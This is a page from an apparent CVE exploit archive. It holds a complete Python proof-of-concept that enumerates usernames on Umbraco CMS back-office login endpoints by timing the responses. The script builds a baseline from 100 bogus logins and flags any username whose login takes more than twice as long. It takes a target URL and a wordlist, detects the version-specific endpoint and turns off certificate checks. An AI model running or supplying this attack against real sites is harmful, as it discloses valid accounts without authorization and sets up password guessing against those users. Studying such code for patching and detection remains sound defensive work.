4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
import random
import string
import time
import requests
import argparse

# List to enumerate over (100 items)
items = list(range(100))
# Store timings
timings = []

username_list = []
URL = ''

# Suppress warnings
requests.packages.urllib3.disable_warnings() 

def main():
    parser = argparse.ArgumentParser(description="input file and Umbraco URL")
    parser.add_argument('-f', type=argparse.FileType('r'), help="Path to the line seperated file")
    parser.add_argument('-u', help="scheme, host and port (eg. https://192.168.122.213:8443) ")

    args = parser.parse_args()
    # We should do some argument handling/validation here
    if (args.f == None or args.u == None):
        parser.print_help()
        exit(0)
    # Process the file to a list which we can pass to enum_usersnames function
    for line in args.f:
        line = line.strip()  # Remove leading/trailing whitespace
        username_list.append(line)
    
    # Close the file
    args.f.close()

    #print(URL)    
    tmp_url = args.u
    check_version(tmp_url)

    build_timing_model()
    enum_usernames(username_list)

def check_version(url):
    
    global URL

    # for version above >= 14.0.0
    new_login_url = url + "/umbraco/management/api/v1/security/back-office/login"
    # for version < 14.0.0
    old_login_url = url + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"

    response_new = requests.post(new_login_url, headers={'Content-Type': 'application/json'}, verify=False)
    response_old = requests.post(old_login_url, headers={'Content-Type': 'application/json'}, verify=False)
    
    if (response_new.status_code != 404 & response_old.status_code == 404):
        print("[+] Umbraco version >= 14.0.0")
        URL = new_login_url
    else:
        print("[+] Umbraco version < 14.0.0")
        URL = old_login_url
        
    
    return

def build_timing_model():
    
    print("[+] Building statistical model by doing 100 incorrect login attempts")

    for i, item in enumerate(items):
        length = random.randint(5, 9)
        random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=length))
        random_mail = 'nonexist_' + random_string + "@"+ random_string + ".local"
        random_password = 'nonexistpw_' + random_string
        json_wrong_data = {"username":random_mail,"password":random_password}

        # Start the timer for request
        start_time = time.perf_counter()
        
        try:
            response = requests.post(URL, json=json_wrong_data, headers={'Content-Type': 'application/json'}, verify=False)
            # print(response)
        except requests.exceptions.RequestException as e:
            print(f"Request {i + 1} failed: {e}")
        
        # Stop the timer for the request
        end_time = time.perf_counter()

        # Append for statistics
        duration = end_time - start_time
        timings.append(duration)
        
    print("[+] Finished building statististical model!")

def enum_usernames(usernames):

    number_users = 0
    existing_users = []

    for username in usernames:

        length = random.randint(5, 9)
        random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=length))
        random_password = 'nonexistpw_' + random_string

        json_data = {"username":username,"password":random_password}
        
        start_time = time.perf_counter()

        try:
            response = requests.post(URL, json=json_data, headers={'Content-Type': 'application/json'}, verify=False)        
        except requests.exceptions.RequestException as e:
            print(f"Request failed: {e}")

        end_time = time.perf_counter()
        duration = end_time - start_time
        
        factor = duration / (sum(timings) / len(timings)) if duration != 0 else float('inf')
        # print(f"Factor: {factor:.4f}")

        # We can adjust the threshold here but if a factor of above 2 is observed we assume the username to be correct
        if ( factor > 2):
            print(f'[+] Found an existing user: {username} (factor is: {factor})')
            existing_users.append(username)
            number_users += 1
            
        else:
            pass

    print(f'Found {number_users} (potentially) existing users:')
    print(existing_users)

if __name__ == "__main__":
    main()